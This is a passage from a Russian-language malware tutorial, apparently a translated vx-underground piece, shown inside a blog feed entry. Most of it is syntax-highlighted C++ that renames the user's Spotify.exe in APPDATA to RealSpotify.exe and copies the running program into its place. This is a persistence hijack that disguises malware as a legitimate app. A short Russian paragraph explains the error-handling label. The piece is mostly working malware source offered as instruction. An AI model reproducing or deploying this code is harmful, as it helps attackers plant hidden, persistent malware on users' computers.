<span class="n">wcscat</span><span class="p">(</span><span class="n">wModulePath</span><span class="p">,</span> <span class="s">L"</span><span class="se">\\</span><span class="s">Spotify</span><span class="se">\\</span><span class="s">Spotify.exe"</span><span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="n">GetEnvironmentVariableW</span><span class="p">(</span><span class="s">L"APPDATA"</span><span class="p">,</span> <span class="n">wNewPath</span><span class="p">,</span> <span class="n">WCHAR_MAXPATH</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>         <span class="k">goto</span> <span class="n">FAILURE</span><span class="p">;</span>

 <span class="n">wcscat</span><span class="p">(</span><span class="n">wNewPath</span><span class="p">,</span> <span class="s">L"</span><span class="se">\\</span><span class="s">Spotify</span><span class="se">\\</span><span class="s">RealSpotify.exe"</span><span class="p">);</span> 

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MoveFile</span><span class="p">(</span><span class="n">wModulePath</span><span class="p">,</span> <span class="n">wNewPath</span><span class="p">))</span>
<span class="k">goto</span> <span class="n">FAILURE</span><span class="p">;</span> 

<span class="n">ZeroMemory</span><span class="p">(</span><span class="n">wModulePath</span><span class="p">,</span> <span class="n">WCHAR_MAXPATH</span><span class="p">);</span> 
<span class="n">ZeroMemory</span><span class="p">(</span><span class="n">wNewPath</span><span class="p">,</span> <span class="n">WCHAR_MAXPATH</span><span class="p">);</span> 

<span class="k">if</span> <span class="p">(</span><span class="n">GetModuleFileNameW</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">wModulePath</span><span class="p">,</span> <span class="n">WCHAR_MAXPATH</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> 
<span class="k">goto</span> <span class="n">FAILURE</span><span class="p">;</span> 

<span class="k">if</span> <span class="p">(</span><span class="n">GetEnvironmentVariableW</span><span class="p">(</span><span class="s">L"APPDATA"</span><span class="p">,</span> <span class="n">wNewPath</span><span class="p">,</span> <span class="n">WCHAR_MAXPATH</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="k">goto</span> <span class="n">FAILURE</span><span class="p">;</span> 

<span class="n">wcscat</span><span class="p">(</span><span class="n">wNewPath</span><span class="p">,</span> <span class="s">L"</span><span class="se">\\</span><span class="s">Spotify</span><span class="se">\\</span><span class="s">Spotify.exe"</span><span class="p">);</span> 

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">CopyFile</span><span class="p">(</span><span class="n">wModulePath</span><span class="p">,</span> <span class="n">wNewPath</span><span class="p">,</span> <span class="n">TRUE</span><span class="p">))</span> 
<span class="k">goto</span> <span class="n">FAILURE</span><span class="p">;</span> 

<span class="k">if</span> <span class="p">(</span><span class="n">hKey</span><span class="p">)</span> <span class="n">RegCloseKey</span><span class="p">(</span><span class="n">hKey</span><span class="p">);</span> 
<span class="k">return</span> <span class="n">ERROR_SUCCESS</span><span class="p">;</span>
</code></pre></div></div>

<p>5) Если в нашем коде произошла ошибка, мы безопасно выходим, прыгая на метку FAILURE. В ней мы проверяем, валиден ли наш HANDLE. Если да, то мы его закрываем функцией <a href="https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regclosekey">RegCloseKey</a>.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">FAILURE:</span> 

    <span class="n">dwError</span> <span class="o">=</span> <span class="n">GetLastError</span><span class="p">();</span> 

    <span class="k">if</span> <span class="p">(</span><span class="n">hKey</span><span class="p">)</span> 
        <span class="n">RegCloseKey</span><span class="p">(</span><span class="n">hKey</span><span class="p">);</span> 

<span class="k">return</span> <span class="n">dwError</span><span class="p">;</span> 

<span class="p">}</span>
</code></pre></div></div>]]></content><author><name></name></author><category term="[&quot;translations&quot;]" /><category term="windows" /><category term="malware" /><summary type="html"><![CDATA[коллекция vx-underground // авторы: smelly__vx и Ethereal]]></summary></entry></feed>